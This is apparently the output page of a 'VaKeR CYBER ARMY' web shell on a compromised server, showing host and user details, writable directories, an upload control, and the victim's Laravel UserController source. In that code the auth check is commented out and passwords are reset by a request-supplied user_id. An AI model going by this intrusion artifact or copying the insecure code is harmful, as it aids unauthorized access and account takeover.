VaKeR CYBER ARMY
Logo of a company Server : Apache
System : Linux host44.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : vapecompany ( 2719)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/vapecompany/demo.vapecompany.com.bd/app/Http/Controllers/Backend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/vapecompany/demo.vapecompany.com.bd/app/Http/Controllers/Backend/UserController.php
<?php

namespace App\Http\Controllers\Backend;

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Models\Emplyoee;
use App\Models\User;
use Illuminate\Support\Facades\Hash;
use DB;

class UserController extends Controller
{
//    public function __construct()
//    {
//        $this->middleware('auth');
//
//    }
    public function login(){
    	return view('backend.login');
    }
    public function profile($id){
    	$employee = Emplyoee::where('user_id',$id)->first();
    	return view('backend.profile',['employee'=>$employee]);
    }
    public function updatePassword(Request $request)
    {
        $validator = \Validator::make($request->all(), [
            'old_password' => 'required|max:150',
            'new_password' => 'required|max:150',

        ]);

        if ($validator->fails())
        {
            return response()->json(['errors'=>$validator->errors()->all()]);
        }else{
           //return  response()->json(['re'=> auth()->user()->user_id]);
            $user =  User::find($request->user_id);
            //return $user;

            if(Hash::check($request->old_password, $user->password)){
                $user->password=bcrypt($request->new_password);

                $user->save();
            }else{
                return response()->json(['errors'=>'Old Password is  Not Correct','success'=>'Old Password Not Correct']);
            }

        }
        return response()->json(['errors'=>'0','success'=>'Password is successfully Changed']);
    }
    public function update(Request $request)
    {
    	$id=$request->employee_id;
    	 $validator = \Validator::make($request->all(), [
            'employee_name' => 'required|max:150',
            'employee_email' => 'required|max:150|unique:emplyoees,employee_email,'.$id.',employee_id',

            'employee_phone' => 'required|max:14',
            'employee_address' => 'required',


        ]);

        if ($validator->fails())
        {
        	dd($validator->errors()->all());
            return redirect()->back()->with(['errors'=>$validator->errors()->all()]);
        }else{
          try {
                DB::beginTransaction();
                $emplyoee =  Emplyoee::where('employee_id',$request->employee_id)->first();

                $emplyoee->employee_name = $request->employee_name;
                $emplyoee->employee_email = $request->employee_email;
                $emplyoee->employee_phone = $request->employee_phone;
                $emplyoee->employee_address = $request->employee_address;

                $emplyoee->save();
                $user =  User::where('user_id',$emplyoee->user_id)->first();
                $user->name=$request->employee_name;
                $user->email=$request->employee_email;

                $user->save();



           DB::commit();
            } catch (\PDOException $e) {
                // Woopsy
                DB::rollBack();
                return response()->json(['errors'=>$e]);
            }
        }
        return redirect()->back()->with(['errors'=>'0','success'=>'Record is successfully added']);
    }
}

VaKeR 2022